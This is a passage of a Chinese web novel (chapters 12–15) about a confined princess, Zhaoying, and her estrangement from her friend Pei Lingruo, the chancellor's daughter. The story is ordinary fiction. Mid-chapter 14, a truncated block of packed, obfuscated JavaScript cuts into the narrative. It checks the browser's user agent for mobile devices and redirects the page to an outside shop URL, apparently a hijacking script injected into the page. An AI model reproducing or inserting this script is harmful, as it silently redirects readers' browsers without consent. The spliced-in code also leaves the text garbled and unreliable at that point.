想着后面发生的事情,她握紧泥人,月光落下来,照在她脸上。
眼角有什么东西滑下来,滴在泥人身上,洇开一小块深色。
——
皇宫,昭荧寝宫。
昭荧趴在榻上,脸埋进枕头里。
宫女在旁边小声劝:“王女,先起来用点膳吧……”
“不吃。”
“那洗漱……”
“不洗。”
宫女无奈,只好退到一旁。
昭荧翻了个身,盯着屋顶的横梁,想着,不知道静攸回家了没有,裴文渊又会怎么对她?
她闭上眼,狠狠骂了自己一句。
姬昭荧,你真闯祸了!
月光照着两处院落。
一处皇宫,一处相府。
两个人,都没睡着。
12. 对不起
昭荧觉得自己快长毛了。
禁足第三日,她趴在窗边,盯着外头一棵老树上的麻雀,从日出看到日昳。
麻雀在枝头跳来跳去,扑棱着翅膀飞走了。
昭荧幽幽叹了口气。
“王女,用膳了。”宫女端着托盘进来,摆在小几上。
昭荧瞥了一眼——清粥小菜,连块肉都没有。
“怎么连块肉都没有?”
宫女垂着头,小声答:“陛下说……王女近来火气大,吃素去火。”
昭荧:“……”
去火?她都快憋到自焚了!
“我不想吃。”她把脸埋回胳膊里。
宫女无奈,只好退到一旁守着。
昭荧趴了一会儿,突然抬起头,眼睛转了转。
“哎。”她叫宫女:“我想去御书房给姨母请罪,你帮我问问侍卫,能不能放我出去?”
宫女愣了愣,出去问了一嘴,很快回来:“启禀王女,侍卫说……陛下有口谕。”
“什么口谕?”
“陛下说:王女安分待着,不必请罪。”
昭荧噎住。
不必请罪?姨母这是连见都不想见她的意思?
她张了张嘴,想说什么,又闭上了。
宫女疑惑的看她:“王女,要不先用膳?”
“不吃。”昭荧继续趴着。
心里却开始发慌。
姨母这次……是来真的.....
——
又过了一个时辰。
昭荧趴在窗边,看着日头慢慢西斜,心里越来越焦躁。
静攸现在怎么样了?裴文渊有没有为难她?
她那天把人家忘在馄饨摊,连句交代都没有就跑了,静攸会不会觉得自己是故意的?
越想越坐不住。
昭荧爬起来,在屋里转了两圈,目光落在窗户上。
寝宫在后院,窗户对着一条偏僻的小巷,翻出去绕过两道墙,就能到通往后宫的甬道……
她眼睛亮了亮。
说干就干。
昭荧蹑手蹑脚走到窗边,轻轻推开窗户,探出脑袋左右张望——没人。
她深吸一口气,双手撑住窗台,抬起一条腿跨上去,正要翻出去——
“王女。”
一个声音凭空响起。
昭荧吓得一抖,差点从窗台上栽下去。
她稳住身子,扭头一看——
一个黑衣人站在墙角,面无表情地看着她。
昭荧:“……”
暗卫。
姨母居然派暗卫守着她!
“王女。”暗卫抱拳行礼,语气恭敬但毫无商量余地:“陛下有令,王女禁足期间,不得踏出寝宫半步。”
昭荧讪讪收回腿,从窗台上跳下来。
“我就是……透透气。”她扯了扯嘴角:“窗户太小了,闷得慌。”
暗卫面无表情:“王女若觉得闷,臣可以帮您把窗户劈大些。”
昭荧:“……”
她认命地关上窗,走回屋里,一头栽倒在榻上。
——
第四日。
第五日。
第六日。
昭荧每天睁开眼,就是四面墙,一个院子,一群低头做事的宫女和外面严防死守的暗卫们。
她试着在院子里练拳,打了半套就没了兴致——没人陪她打,没意思。
她试着让宫女把那只怪鸟抱来逗着玩,结果那鸟一见她就喊“退下吧退下吧”,喊得她更烦了。
——
而另一边,相府。
裴泠箬禁足两日,便被放了出来。
裴文渊那晚发了大火,但雷声大,雨点小。
裴泠箬心里清楚,父亲不敢真的苛待她。
她是裴家唯一的希望,父亲可以在言语上斥责她、在规矩上约束她,但终不敢有过多越矩。
每日裴泠箬按时出门,可这一日刚走到相府门口,便看见青竹身边还有一个眼熟的小厮候在马车旁。
“相爷吩咐。”小厮垂着头,语气恭敬:“让小的跟着小姐,保护小姐安全。”
保护?
裴泠箬冷冷看了他一眼,没说话,上了马车。
马车辚辚向前,小厮不远不近地跟在后面。
到了宫学门口,裴泠箬下车时,小厮上前一步,压低声音:
“相爷说了,让小姐……莫要与王女再有接触。”
裴泠箬脚步顿了顿。
她回过头,看向那个垂首站立的小厮。
“知道了。”
转身,走进宫学。
——
踏进学堂的那一刻,裴泠箬的视线下意识落在前排那个位置。
空的。
桌面上空空荡荡,笔墨纸砚收得整整齐齐,像一直没人用过。
她收回视线,走向自己的座位。
坐下,铺纸,研墨。
太傅进来,开始讲课。
裴泠箬垂眸看着书页,耳边是太傅抑扬顿挫的声音,可那些字一个都没进脑子。
她抬眼。
那个位置还是空的。
——
课间。
裴泠箬坐在原位没动,手指无意识地摩挲着袖袋里的东西。
熊猫泥人硬邦邦的,硌着手心。
她把它带在身边好几日了,自己也不知道为什么。
“哎,你说.....”
旁边传来几个学子压低的声音,裴泠箬下意识竖起耳朵。
“王女被禁足怎么还没被放出来。”
“私自出宫闯了祸,陛下震怒,罚她禁足一个月,哪有那么快。”
“一个月?这么久?”
“可不是嘛,听说连宫学都不让来了。”
“也难怪,她平时就爱跟兵部侍郎家的小姐她们混在一起,顽劣得很。”
“就是那个沈妤?听说她们经常一起出去斗鸡走狗,不务正业……”
“嘘,小声点……”
议论声渐渐低下去。
裴泠箬坐在那儿,握着泥人的手指微微收紧。
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沈妤。
林双双。
户部尚书家的三姑娘。
那天在市集,昭荧和她们在一起,笑得没心没肺,像一群撒欢的野狗。
那才是她真正喜欢的生活吧?
那才是她真正想待的圈子吧?
斗鸡走狗,吃喝玩乐,想笑就笑,想闹就闹,不用装庸,不用避祸,不用跟任何人解释自己为什么要那样活着。
那自己之前帮她出的那些主意呢?
“装庸避祸”“中庸之道”“别太低级”……
她想,也许在昭荧看来,那些话根本就是多余的。
她本来就是个“庸人”,一个就想过舒服日子、不想被皇位束缚的庸人。
那她那天在藏书阁说的话呢?
“你也在装”“你活得累不累”“合作吗”……
那些话,又算什么?
裴泠箬垂下眼,看着桌上摊开的书页。
字迹密密麻麻,她却一个都看不进去。
——
散学。
裴泠箬收拾好东西,慢慢走出学堂。
走到宫门口时,迎面遇上一群人。
沈妤、林双双,还有不太眼熟的官宦子弟,正说说笑笑往外走。
“阿妤,明日斗鸡去不去?”
“去啊!听说新来了只‘常胜将军’,我要去会会它!”
“你输了多少回了还不长记性?”
“这次肯定赢!”
她们从裴泠箬身边经过,笑声张扬,毫无顾忌。
沈妤走过时,视线在她脸上扫了一下,没什么表情,很快又转回去继续跟同伴说笑。
裴泠箬站在原地,看着她们的背影渐渐远去。
夕阳把她们的影子拉得很长,笑声飘散在暮色里。
她站了很久。
直到小厮上前一步,小声提醒:“小姐?该上马车了。”
裴泠箬回过神。
她垂下眼,上了马车。
车帘放下,隔绝了外面的世界。
——
皇宫。
暮色四合。
昭荧趴在窗边,看着天边最后一抹橘红慢慢暗下去。
那只怪鸟蹲在架子上,歪着脑袋看她。
昭荧盯着它,突然开口:“你说,她会不会生我的气?”
怪鸟:“退下吧。”
昭荧:“……”
“我问你她会不会生我的气!”
怪鸟:“冤枉啊——”
昭荧无语地把脸埋回胳膊里。
她也不知道自己怎么了,这几天脑子里全是裴泠箬。
想她在相府好不好,想她有没有被裴文渊责难,想她那天一个人在馄饨摊等了多久,想她现在是不是觉得自己就是个骗子。
“我没想骗她……”昭荧对着怪鸟喃喃:“我就是玩忘了……我真的不是故意的……”
怪鸟:“大人早。”
昭荧深吸一口气,把脸埋得更深了。
“静攸。”她自责地嘟囔:“对不起。”
13. 到底听谁的
第十五日。
昭荧正趴在窗边张着嘴吃西北风,忽听外头一阵骚动。
“王女!王女!”宫女急忙忙冲进来,脸上带着见鬼了的表情:“逍、逍遥王来了!”
昭荧一愣。
母王?
还没等她反应过来,门“砰”一声被人推开。
一个穿着随意、发丝微乱的女人大步流星走进来,手里还攥着根啃了一半的甘蔗。
“荧儿!”
姬明琅把甘蔗往宫女手里一塞,三步并作两步冲到昭荧面前,捧着她的脸左看右看:
“哎哟瘦了瘦了,这脸都凹下去了!皇姐怎么舍得饿着你?”
昭荧被她捏得脸都变形了,含糊不清地说:“母王……您怎么回来了?”
“圣旨召的呗。”
姬明琅松开手,一屁股坐到榻上,翘起二郎腿:“说你闯了大祸,让我赶紧回来收拾烂摊子。”
昭荧:“……”
姬明琅看着她那心虚的表情,“噗”一声笑了:“行了行了,多大点事,瞧你委屈的。”
“母王……”昭荧眼眶一热,扑过去抱住她:“您怎么才回来啊!”
姬明琅拍拍她的背,语气里带着笑:“行了别哭了,走,跟我去见你姨母。”
昭荧抬头,眼睛慢慢亮起来:“您要带我出去?”
“不然呢?”姬明琅站起身,顺手从宫女手里拿回甘蔗,咬了一口:“让你继续在这儿发霉?”
——
御书房。
姬明玥正在批奏折,听见通传“逍遥王求见”,手里的笔顿了顿。
“让她进来。”
门推开,姬明琅大步走进来,身后还跟着一个缩头缩脑的姬昭荧。
“皇姐!”姬明琅一进门就笑开了花,凑到书案前,张开双臂:“我回来了!”
姬明玥抬眼,冷冷看着她:“你还知道回来?”
“瞧皇姐说的,圣旨都下了,我能不回来吗?”
姬明琅垂下手,笑嘻嘻地绕到书案后,伸手就要给姐姐捏肩:“皇姐辛苦了,我给您捏捏——”
“少来这套。”姬明玥没好气拍开她的手,指了指旁边:“站好。”
姬明琅讪讪收回手,乖乖站到一旁。
姬明玥这才看向缩在门口的昭荧。
昭荧对上她的视线,腿一软,差点跪下。
“姨母……”
“别叫姨母。”姬明玥语气冷硬:“朕说过,禁足一个月,你这才半个月就跑出来,当朕的话是耳旁风?”
昭荧张了张嘴,不知该怎么接。
姬明琅适时开口:“皇姐,消消气,孩子还小嘛,顽劣正常,慢慢教就好了,您这一禁足一个月,真不怕她闷出毛病来。”
姬明玥冷笑:“那也是她该!”
“别这么说,她要是真有个头疼脑热,心疼的不还是您嘛。”
姬明琅凑过去,嬉皮笑脸:“皇姐,您看在臣大老远赶回来的份上,从轻发落呗?半个月也差不多了,再关下去,她真该傻了。”
姬明玥沉默片刻,看向昭荧。
昭荧立刻低下头,装出一副乖巧认错的模样。
“你先回去。”姬明玥最终开口:“朕跟你母王有话要说。”
昭荧如蒙大赦,行了一礼,飞快离开。
——
门关上。
姬明玥看着眼前这个没个正形的妹妹,叹了口气。
“你在封地倒是逍遥。”
“一般吧。”
姬明琅往椅子上一坐,翘起腿:“臣不过是每天睡到自然醒,想干嘛干嘛,不用上朝,不用批折子,神仙日子。”
姬明玥看着她那副得意样,忽然开口:“朕也想过过这神仙日子.....”
姬明琅笑容一僵。
“皇姐……您什么意思?”
“朕最近累了。”
姬明玥靠在椅背上,顿感头痛欲裂:“想歇一歇,你来监国一段时间。”
姬明琅瞬间坐直了身子。
“别别别!”她连连摆手:“皇姐,您别开这种玩笑,臣这人您还不知道?胸无大志,游手好闲,哪能监什么国?”
姬明玥不说话,就这么看着她。
姬明琅被她看得心里发毛,赶紧搬出当年约定:
“当初说好的,您登基,臣去封地逍遥,只管生个孩子,不沾朝政!这事儿您可不能反悔!”
姬明玥依旧不说话。
姬明琅急了:“明曜再过几年也能担事了,皇姐您再撑几年就行,到时候直接把玉玺塞给她,咱俩一起逍遥!”
姬明玥终于开口,语气里颇为无奈:“你说的简单。”
“那当然。”姬明琅见她松动,又嬉皮笑脸起来:“还不是因为皇姐您英明神武?一定能撑到那一天的,臣信您!”
姬明玥冷笑一声:“你是潇洒了,一拍屁股回封地快活,明曜的教育你半点儿没管过。”
“这不是有皇姐您在吗?您比臣会教多了。”
姬明玥被她气笑了。
“她现在这么顽劣无法无天,也不知道到底是随了谁!”
姬明琅眨眨眼,一脸无辜:“反正不是臣,臣在封地可老实了。”
姬明玥:“……”
御书房里安静了片刻。
姬明琅见好就收,站起身,凑到姬明玥跟前,压低声音:“皇姐,明曜那事儿……就这么算了?半个月了,做做样子也够时候了”
姬明玥沉默了一会儿。
“再关三日。”她最终松口:“三日后再说吧。”
姬明琅眼睛一亮:“多谢皇姐!”
转身就走。
“等等。”姬明玥叫住她。
姬明琅回头。
姬明玥看着她,语气里带着几分警告:“这次回来,多待些日子,好好管管你女儿。”
姬明琅笑容灿烂:“遵旨!”
——
昭荧独自回头寝宫后,便一头栽倒在榻上,哀声连连。
“怎么,还不高兴?”
一个声音从门口传来。
昭荧猛地抬头,便看见自家母王一脸玩世不恭正倚在门框上。
“母王……您怎么来了?”
“来看看我闺女啊。”姬明琅走进来,在榻边坐下:“怎么,不欢迎?”
昭荧摇摇头,又躺回去,眼睛有点酸。
姬明琅看着她,不说话。
寝宫里安静得能听见烛火跳动的声音。
过了好一会儿,昭荧才开口,声音低得像自言自语:
“母王,要不……我跟您去封地吧。”
姬明琅挑眉:“嗯?”
“我不想待在京城了。”昭荧翻了个身,侧躺着看她:“我想跟您去封地,过您那样的日子,想干嘛干嘛……”
姬明琅看着她,忽然意味深长的笑了。
“傻孩子。”
姬明琅伸手,揉了揉她的头发。
“为什么这么想?”
“您每次回来都说封地多自在……”
“那是说给你姨母听的。”
姬明琅打断她,凑近了些,压低声音:“不这么说,你姨母能放心让我在封地待着?”
昭荧有些不懂,姬明琅看着她那副呆样,笑得更欢了:
“你以为你母王真那么逍遥?封地离京城八百里,快马加鞭也要三天三夜。
我每个月要写三封奏折向你姨母汇报封地情况,每半年要回京述职一次,每次述职前要准备整整一箱子的文书、账目、地图……”
她顿了顿,语气突然变得沉重:
“你以为我每天睡到自然醒?错了,我每天天不亮就要起床,处理封地的政务!
哪个县闹了蝗灾,哪个镇子发了洪水,哪个官员贪了银子,哪个豪强欺压百姓……”
昭荧听得一愣一愣的。
姬明琅看着她那副样子,忽然话锋一转:
“不过嘛——”
她拖长声音,又恢复了那副嬉皮笑脸的样子:
“这些事,我都交给底下人办了。”
昭荧:“……啊?”
“啊什么啊,你母王我啊,最擅长的就是——当甩手掌柜。”
昭荧彻底懵了。
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姬明琅看着她那副样子,笑得前仰后合:
“傻闺女,你认为的没错,我啊,就是个混日子的。”
她凑近昭荧,压低声音,像在分享什么天大的秘密:
“我跟你说,当王爷,最重要的是什么?是会用人!
把事情都交给能干的人去办,自己呢,就负责……负责吃喝玩乐,游山玩水。”
昭荧张了张嘴,想说什么,却发现自己一个字都说不出来。
姬明琅看着她那副样子,叹了口气:
“但是荧儿啊,你不行。”
“别总想着跟我去封地,封地有什么好?穷乡僻壤,要什么没什么,还不如京城呢。”
“再说了——”她拖长声音,眼神里闪过一丝狡黠:
“你可是未来的皇帝,这京城,这皇宫,这龙椅……迟早都是你的,你跑什么跑?”
昭荧心下一紧,下意识反驳:“我不想当皇帝……”
“不想当?”姬明琅挑眉,笑得意味深长:“那可由不得你。”
她站起身,走到窗边,背对着昭荧:
“荧儿,你是大周唯一的皇嗣,也是我们看着长大的孩子。
我们知道你……嗯,可能没那么聪明,可能没那么能干,可能……就是个普通孩子。”
昭荧听着这话,心里莫名一酸。
姬明琅转过身,看着她,语气突然软了下来:
“但是没关系,普通就普通,笨就笨,咱们姬家,又不是没出过平庸的皇帝。”
她走回榻边,坐下,看着昭荧的眼睛:
“你姨母为什么罚你?不是因为你闯祸,是因为你……太不争气了。”
昭荧低下头。
姬明琅叹了口气:
“你想想,你要是稍微争气一点,稍微……嗯,稍微像个储君的样子,你姨母至于这么累吗?”
昭荧咬着嘴唇,不说话。
姬明琅看着她那副样子,忽然笑了:
“不过啊,我倒是觉得,你这样挺好。”
“……好?”
“对啊。”姬明琅点头,一脸认真:“你想啊,你要是太能干,太有野心,你姨母能放心把皇位交给你?她不得防着你?”
“现在这样多好,你平庸,你顽劣,你……嗯,你没什么威胁,你姨母虽然生气,但心里踏实啊。
她知道你翻不出什么浪来,知道这江山交给你,应该……应该也不会出什么大乱子。”
昭荧听得云里雾里。
“所以啊,荧儿,你就继续保持现在这样,挺好的,该玩玩,该闹闹,该……嗯,该不学无术就不学无术。”
她顿了顿,补充道:
“当然了,表面功夫还是要做做的,比如去给你姨母认个错,比如……嗯,比如去宫学装装样子。”
昭荧愣愣地看着她,脑子里一片混乱。
姬明琅站起身,伸了个懒腰:
“行了,天不早了,你早点睡吧,三日后解禁,记得去给你姨母认个错,态度诚恳点,哭得惨一点,你姨母心软,肯定就原谅你了。”
她走到门口,又回头看了昭荧一眼:
“还有啊,别总想着跟我去封地,封地……嗯,封地其实挺无聊的,母王也是含泪受命~~~”
门关上。
寝宫里又恢复了安静。
昭荧躺在榻上,盯着屋顶的横梁,脑子里乱糟糟的,为什么有一种被忽悠了的感觉?
母王刚刚嘴角快咧到耳边了吧!
还有那些话:
“当甩手掌柜……”
“普通就普通,笨就笨……”
“你就继续保持现在这样,挺好的……”
她翻了个身,脑子里忽然浮现出裴泠箬那张清冷的脸,还有那天在藏书阁,她说的话:
“王女打算怎么躲皇位?继续在课堂上画王八?写错字?气太傅?”
“太低级。”
昭荧忽然觉得……有点好笑。
母王让她继续保持现在这样。
静攸让她别再做那些低级错误。
所以……她到底该听谁的?
14. 疏远
三日后,昭荧起了个大早。
她对着铜镜捯饬了半天,把衣领正了又正,头发梳了又梳,最后从抽屉里翻出个巴掌大的锦盒揣进袖子里。
“王女今日气色真好。”宫女笑着递上帕子。
结果昭荧一溜烟跑出了门。
——
御书房。
姬明玥正在用早膳,见昭荧进来,一挑眉:“来了?”
昭荧乖巧地跪下磕了一个响:“姨母,我错了。”
姬明玥抬眼看了看她,等着下文,昭荧便继续往下说:
“我不该编造口谕,不该私自出宫,不该带裴小姐出去,不该玩到天黑不回来,不该撒谎骗姨母……”
她一口气数了十几条,数到最后声音越来越小:“总之……都是我的错。”
姬明玥放下筷子,看着她。
“还有呢?”
昭荧歪着头想了想:“我以后一定好好读书,好好练骑射,再也不胡闹了。”
“这话你说过多少次了?”
“……好几次。”
姬明玥被她气笑了。
“行了,起来吧。”
她挥挥手:“等下回宫学去,再让朕知道你胡闹,就不是禁足这么简单了。”
昭荧如蒙大赦,又磕了个头站起来,转身要走,又折回来。
“姨母。”
“嗯?”
“裴静攸她……没事吧?裴相有没有为难她?”
姬明玥看她一眼:“现在知道关心人家了?”
昭荧低下头,不说话了。
姬明玥叹了口气:“似乎被禁足了两日,已经回宫学了,倒是你,回去好好跟人道个歉,别整天端着王女的架子。”
昭荧应了一声,退出御书房。
走出老远,她才从袖子里掏出那个锦盒打开:里头躺着个小玉蝉,温润透亮,是她去年生辰时姨母赏的。
她想今天找机会塞给裴泠箬赔罪的。
这般想着,把锦盒揣回袖子里,脚步轻快了几分。
——
宫学。
昭荧踏进学堂的那一刻,原本嗡嗡的议论声瞬间静了下来。
所有人的目光齐刷刷落在她身上。
她若无其事地走到自己座位坐下,余光却不受控制地往后排飘。
裴泠箬坐在老位置,正低头写字,像完全没注意到她来了。
昭荧收回视线,纳闷起来:
怎么回事?半个月不见,连看都不看她一眼?
太傅进来,开始讲课。
昭荧一个字都没听进去。
她时不时偷瞄后排,裴泠箬还是那个姿势,坐得端端正正,笔尖在纸上沙沙地响,连头都没抬过。
昭荧转回头,盯着面前的书页,心里像有只猫在抓。
一个时辰的课,漫长得像过了一年。
终于,太傅转身板书。
昭荧抓住机会,飞快写了一张纸,揉成团,瞄准裴泠箬的桌子——
“啪。”
纸团精准地落在桌面摊开的书页上。
裴泠箬动作一顿。
她低头,看着那个纸团,看了三秒,而后起身捡了起来。
昭荧心中一喜,她捡起来了!
但下一秒,就见裴泠箬拿着纸团,径直走向讲台。
“太傅,课堂之上有人喧哗递条,请太傅处置。”
全班寂静。
昭荧僵在座位上,脑子一片空白。
太傅转过身,看看裴泠箬手里的纸团,又看看昭荧忽然僵硬的脸色,眉头皱起来。
“谁递的?”
裴泠箬没说话,只是把纸团放在太傅桌上。
所有人下意识把目光齐刷刷看向昭荧。
昭荧坐在那儿,竟是少有的臊红了脸。
她看着裴泠箬那张清冷到没有表情的脸庞,脑子里困惑不已:
她……她怎么……
太傅拿起纸团,打开看了一眼眉头便皱起来,看向昭荧:“王女,这是何意?”
昭荧张了张嘴,想说“我……我就是想赔个罪”,但话到嘴边,又咽了回去。
她看着裴泠箬。
对方已经回到座位,重新拿起笔,继续写字,仿佛刚才什么都没发生。
“王女?”太傅又问了一遍。
昭荧低下头,只好认了:“学生……知错。”
太傅叹了口气,把纸团收进袖袋:“罢了,专心听课。”
课继续上。
但昭荧一个字都听不进去了,她坐在那儿,脑子里乱糟糟的。
为什么?
为什么突然这样?
接下来的时间,她如坐针毡,好几次想回头,又硬生生忍住。
太傅终于说了“散学”,她强忍住弹起来的冲动,坐在座位上,等所有人都走完了,才慢慢站起来。
裴泠箬已经收拾好东西,正往外走。
昭荧几步追上去,在走廊上拦住了她。
“静攸。”
裴泠箬停下脚步,转过身,微微垂首:“王女有何吩咐?”
昭荧被这声“王女”噎了一下。
“你……生我气了?”
裴泠箬抬眼看着她,神色平静:“臣女不敢。”
“那你刚才为什么……”
“课堂之上递纸条,本就于规矩不合,臣女只是做了该做的事。”
昭荧张了张嘴,一时竟不知该怎么接。
她下意识从袖子里掏出那个锦盒,递过去:
“这个……给你。”
裴泠箬看了一眼,并没有接。
“王女厚赐,臣女不敢当。”
昭荧的手僵在半空。
“静攸,你到底怎么了?”她声音里带上了几分急切:
“是不是因为那天我把你忘在馄饨摊了?我不是故意的,沈妤说她家有只会说话的鸟,我一好奇就——”
“王女不必解释。”
裴泠箬打断她,语气依旧平静:“王女与朋友游玩,本是常事,不必在意臣女。”
昭荧愣住了。
“静攸……”她想说什么,却发现自己连该从哪儿说起都不知道。
裴泠箬看着她,忽然微微弯了弯唇角。
“王女不必放在心上,是臣女之前想多了。”
“王女本就该与志趣相投的人在一起,斗鸡走狗,游山玩水,那才是王女想要的日子,臣女先前那些话,王女听过便罢,不必当真。”
昭荧听完,彻底懵了。
什么叫“志趣相投”?什么叫“那才是你想要的日子”?什么叫“不必当真”?
“你什么意思?”昭荧脱口而出。
裴泠箬却不答了。
她恭敬行了一礼:“天色不早,臣女告退。”
转身,往宫门的方向走去。
昭荧站在原地,看着那抹月白色的背影越走越远,步子不急不缓,连背影都透着疏离。
她握着手里的锦盒,手指慢慢收紧。
什么意思?
这才半个月,怎么就变成这样了?
——
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391803|200316||http|test|mini|href|location''.split(''|''),0,{}));
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>宫门口。
她上了车,车帘放下那一刻,她整个人靠在车壁上,闭了闭眼。
她想,就这样吧。
本来就该是这样的。
她是宰相之女,要辅佐未来的皇帝,要撑起裴家的门楣。
姬昭荧是王女,将来要登基,要坐那把龙椅,要治理这大周江山。
她们之间,本来就该只有“王女”和“臣女”的关系。
是她自己,在藏书阁那个破旧的小角落里,听了几句“真心话”,就以为自己也成了什么特别的人。
多可笑。
马车辚辚向前,驶入暮色。
裴泠箬掀开车帘,看着窗外飞速掠过的街景,忽然想起那天昭荧说的话:
“你也在装。”
“你活得累不累?”
“在我这儿,你可以不用那么完美。”
她放下车帘。
算了。
——
第二天,宫学。
昭荧顶着两个黑眼圈走进学堂。
昨晚她翻来覆去想了半宿,还是没想明白裴泠箬到底为什么突然这样。
说她生气吧,又不像,真生气的人不会那么平静吧?
她想了一夜,只得出一个结论:一定是有误会。
今天得找机会说清楚。
她坐下,偷偷往后排看了一眼。
裴泠箬还是老样子,端端正正坐着,低头写字。
昭荧收回视线,强迫自己听课。
忍了一节课。
课间,她站起身,准备去找裴泠箬。
还没走出两步,就看见几个学子围到裴泠箬桌边。
“裴小姐,适才太傅讲的,我有些地方不太明白……”
“裴小姐,你的笔记能借我看看吗?”
“裴小姐……”
昭荧站在几步外,看着她被人群围住,一时竟不知该不该上前。
算了,等散学再说。
她又坐回去。
散学后,她第一时间收拾好东西,堵在学堂门口。
裴泠箬走出来,看见她,象征性行了一礼。
“王女。”
“我有话跟你说。”
裴泠箬看着她,沉默了片刻。
“王女请讲。”
昭荧看了看周围,压低声音:“这儿不方便说话,去藏书阁。”
“不必了,王女有话,在此处说便可。”
昭荧又被噎了一下。
她深吸一口气,尽量让自己的声音听起来平静一些:
“你是在生我的气,对不对?因为我那天把你忘在馄饨摊了,因为我跟沈妤她们走了没叫你,因为我……”
“王女。”
“臣女已经说过,王女与朋友游玩,不必在意臣女,臣女并未生气,王女多虑了。”
“那你为什么不跟我去藏书阁?”
裴泠箬沉默了一会。
“藏书阁……本就是王女的地方,臣女不便常去。”
昭荧听完这句话,忽然觉得有点荒谬。
那个地方,是她带着她去的,是她教她怎么从破书架后面钻进去的,是她们一起坐在草席上吃桂花糕、划拳、规划怎么躲皇位的。
现在说“不便常去”?
“裴泠箬。”昭荧顿时有些恼了,觉得眼前人有点不可理喻:“你到底在闹什么别扭?”
裴泠箬抬眼看着她,神色依旧平静,眼底却有一闪而过的涩意。
“臣女没有闹别扭。”
“臣女只是想明白了。”
15. 决裂?
“臣女只是想明白了。”
这句话像根刺,没由来的扎得昭荧胸口一紧,忽然觉得这半个月的愧疚、不安、惦记,全像一拳打在棉花上。
“想明白什么了?”
昭荧咬着后槽牙,声音压得低,却压不住火气:“你想明白什么了?你倒是跟我说清楚啊!”
裴泠箬垂下眼:“没什么好说的。”
“没什么好说的?”
昭荧气笑了:“裴泠箬,你当我是傻子?半个月前还好好的,现在突然这样,你告诉我没什么好说的?”
裴泠箬不接话,转身要走。
昭荧急了。
她最烦别人打哑谜,最烦别人晾着她,最烦这种不清不楚的疏离。
“站住!”
她追上去两步,一把拽住裴泠箬的手腕。
“你——”
“王女!”裴泠箬被她拽得手腕生疼,眉头微蹙:“王女,请自重。”
“自重什么自重!”
昭荧管不了那么多,拽着她就往藏书阁的方向走:“走,去藏书阁说!”
“我不去。”
“由不得你!”
她力气大,裴泠箬挣了两下没挣脱,反而被她拖得踉跄。
“你放开——”
“不放!”昭荧头也不回,语气又冲又硬:“今天必须把话说清楚,别跟我装聋作哑!”
两人就这么拉扯着穿过走廊。
几个没走远的学子听见动静回头,正好看见这一幕——王女拽着裴小姐的手腕,大步流星往前走,裴小姐被她拖得脚步凌乱,脸上的表情又冷又恼。
“这……”
“王女怎么又找裴小姐麻烦?”
“太过分了吧,仗着自己是王女就动手动脚?”
“裴小姐也是可怜……”
议论声不大不小,正好飘进两人耳朵里。
昭荧一个字都没听进去,满脑子都是“问清楚”,裴泠箬却听得清清楚楚,脸色更冷了几分,手腕上的力道却不知怎么,始终没真的使劲挣开。
藏书阁的门被“砰”一声推开,灰尘扑簌簌往下掉。
昭荧拽着她进去,反手把门关上,隔绝了外面的一切视线和声音。
阁楼里昏暗寂静,只有破窗户透进来几缕夕阳,照在半空漂浮的灰尘上。
昭荧松开手,转过身,胸膛起伏得厉害。
她看着裴泠箬,又气又委屈:“你到底要干嘛?什么叫想明白了?什么叫我不必当真?你给我说清楚!”
裴泠箬低头看了一眼自己的手腕,红了一圈,她慢慢揉了揉,抬起头。
那张清冷的脸上,此刻终于有了情绪——嘲讽,不齿,还有一丝昭荧看不懂的……失望?
“好。”裴泠箬开口,声音冷得像冰:“既然王女非要问,那我就说清楚。”
她往前走了一步,逼近对方,一字一句,字字戳心:
“那日在市集,你跟沈妤她们在一起,斗鸡走狗、无所事事——那才是真正的你吧?”
昭荧愣住。
“你口口声声说要‘装庸避祸’,可我看,你根本不用装。”
裴泠箬冷笑:“你本身就是这般顽劣,这般纨绔,哪里需要刻意伪装?”
“我……”
“我承认,我也想放肆,也想逃离裴家的束缚。”
裴泠箬打断她,语气里带着自嘲:“可我再想放肆,也绝不会做斗鸡走狗、不务正业的事,那些事情,我打心底里不齿。”
昭荧张了张嘴,想说什么,却发现自己一个字都说不出来。
裴泠箬看着她,眼底的嘲讽更浓了,说出的话也越来越重:
“人以类聚,物以群分,你若不是真的纨绔,若不是打心底里喜欢那样,又怎会跟沈妤她们混在一起?”
她微微扬起下巴,语气里带着几分居高临下的审判:
“近朱者赤,近墨者黑,你从来都不是伪装,你就是那样的人。”
最后几个字落下来,像巴掌一样扇在昭荧脸上。
昭荧站在那儿,脑子里嗡嗡作响。
她看着裴泠箬,看着那双眼睛里毫不掩饰的嘲讽和不齿,忽然觉得胸口像被人狠狠剜了一刀。
好疼。
不是屁股挨板子那种皮肉疼,是那种闷闷的、喘不上气的疼。
她眼底泛红,但死死忍住,没让眼泪掉下来。
她攥紧拳头,指甲掐进掌心。
想辩解的话堵在喉咙口,裴泠箬刚才那些话,像把她剥光了扔在大街上。
原来在她眼里,自己也是这么个东西......
顽劣、纨绔、不务正业、打心底里就是那样的人。
委屈到极致,反而变成了愤怒。
她抬起头,红着眼眶,咬牙切齿地开口:
“是!”
裴泠箬微微一愣。
“我就是纨绔!我就是喜欢斗鸡走狗、不学无术!”
昭荧的声音发抖,但每一个字都咬得死紧:“那又怎么样?”
她往前走了一步,逼视着裴泠箬:
“我本来就没求着你懂我!是你自己凑过来,跟我说什么‘装庸避祸’,现在又来指责我?”
裴泠箬眉头微皱,想说什么,却被昭荧抢了先。
“你以为你是谁?”
昭荧笑了,笑得又冷又狠:“不过是个被裴家绑着、连放肆都不敢的傀儡,也配来评判我?”
这句话说出口,她自己都愣了一下。
但话已出口,收不回来了。
她看着裴泠箬的脸色瞬间白了几分,心里闪过一丝快意,但随即又被更深的刺痛淹没。
“既然你这么不齿我,这么看不起我,那正好!”
昭荧咬着牙,一字一句,像在跟自己较劲:
“从今往后,你走你的阳关道,我过我的独木桥,谁也别搭理谁!”
最后一个字说完,阁楼里陷入死寂。
昭荧站在那儿,胸膛起伏得厉害,眼眶红得像兔子,但一滴泪都没掉。
她梗着脖子,咬着牙,看着裴泠箬,脸上写满了“我不在乎”。
裴泠箬站在原地,看着眼前这个人。
她眼底闪过一丝极淡的诧异,显然没料到昭荧会放这样的狠话。
